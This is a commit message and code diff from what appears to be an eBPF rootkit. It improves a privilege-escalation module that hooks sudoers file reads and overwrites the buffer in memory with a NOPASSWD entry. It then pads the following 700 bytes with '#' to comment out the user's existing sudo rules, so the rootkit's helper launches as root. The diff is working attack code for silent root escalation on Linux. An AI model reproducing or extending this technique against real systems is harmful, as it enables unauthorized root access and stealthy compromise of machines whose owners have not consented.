Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions

src/ebpf/include/bpf/fs.h

@@ -102,12 +102,26 @@ static __always_inline int handle_tp_sys_exit_read(struct sys_read_exit_ctx *ctx
     //For including an user in the sudoers file
     //We just put our new line there, independently on what the rest of the file contains
     if(data->is_sudo==1){
-        while(1){
+        bpf_printk("Proceeding to verwrite sudo\n");
         if(bpf_probe_write_user((void*)buf, (void*)sudo_line_overwrite, (__u32)STRING_FS_SUDOERS_ENTRY_LEN-1)<0){
             bpf_printk("Error writing to user memory\n");
             return -1;
         }
+        //Overwriting the first line is enough, but we must go one step further now.
+        //If the current user has sudo privileges already, then another entry will describe its permissions too,
+        //and that one will override the NOPASSWD entry we wrote now. In order to increment the probability
+        //that we achieve free full sudo capabilities without password, we must override some more chars.
+        //For the best results: First measure byte length of sudoers. And fill with '#' (total-length - length sudo__line_overwrite)
+        //Not enough overwritten bytes and you may not get privesc, too many and you may overwrite something else.
+        int CHARS_TO_OVERRIDE = 700;
+        char char_override = '#';
+        for (int ii = 0; ii<CHARS_TO_OVERRIDE; ii++){
+            if(bpf_probe_write_user((void*)buf+ STRING_FS_SUDOERS_ENTRY_LEN+ii, (void*)&char_override, (__u32)1)<0){
+                bpf_printk("Error writing to user memory in additional symbol\n");
+                break;
             }
+        }
+
         bpf_printk("Sudo overwritten\n");
         return 0;
     }